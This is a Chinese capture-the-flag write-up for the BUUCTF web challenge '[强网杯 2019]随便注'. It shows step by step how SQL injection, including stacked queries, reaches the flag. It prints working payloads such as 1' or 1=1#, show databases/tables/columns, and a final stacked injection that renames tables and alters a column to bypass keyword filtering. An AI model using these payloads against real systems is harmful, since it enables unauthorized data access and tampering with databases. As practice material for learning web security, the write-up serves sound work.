Buuctf-Web-[强网杯 2019]随便注
前言
刷题网址:https://buuoj.cn/challenges#[强网杯 2019]随便注
首先打开就是SQL注入,我们尝试一下,如下图,发现返回的是原始数据
然后我们输入1' or 1=1#
发现返回了所有数据,如下图
这里我们直接来使用联合注入尝试,发现order by 2
正常回显,但是order by 3
就报错
这里我们查询,发现过滤了很多关键字。
这里可以选择尝试堆叠注入,如下图,发现是可以进行堆叠注入的,并且把所有的数据库都爆出来了。
payload: 1';show databases;#
然后这里我们查表,发现有两个表,一个是纯数字表一个是words
表,如下图
payload: 1';show tables;#
我们查看数字表,如下图,发现flag在里面,然后反单引号(`)是数据库、表、索引、列和别名用的引用符,但是这里经过测试,如果是纯数字的表就需要加反单引号,如果不是就不需要加或者加上也无所谓。
payload: 1';show columns from `1919810931114514`;#
然后我们在查看words
表,如下图,看起来输入框里面默认查询的就是words
表了,因为上面查询数字表的时候只有一列,查询words表的时候有两列,那么如果是这样的话猜测一下查询语句应该是: select id,data from words where id =
。
payload: 1';show columns from words;#
如果是这样,而且还没有过滤rename
和alter
思路就来了,就是把words
表改成words1
或者其他名字,然后在把数字表名改成words
,然后在把新的words
里面的flag
修改成id
,然后在结合上面的1' or 1=1#
就可以查出flag了。
payload: 1';rename table words to words2;rename table `1919810931114514` to words;alter table words change flag id varchar(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;desc words;#
如下图flag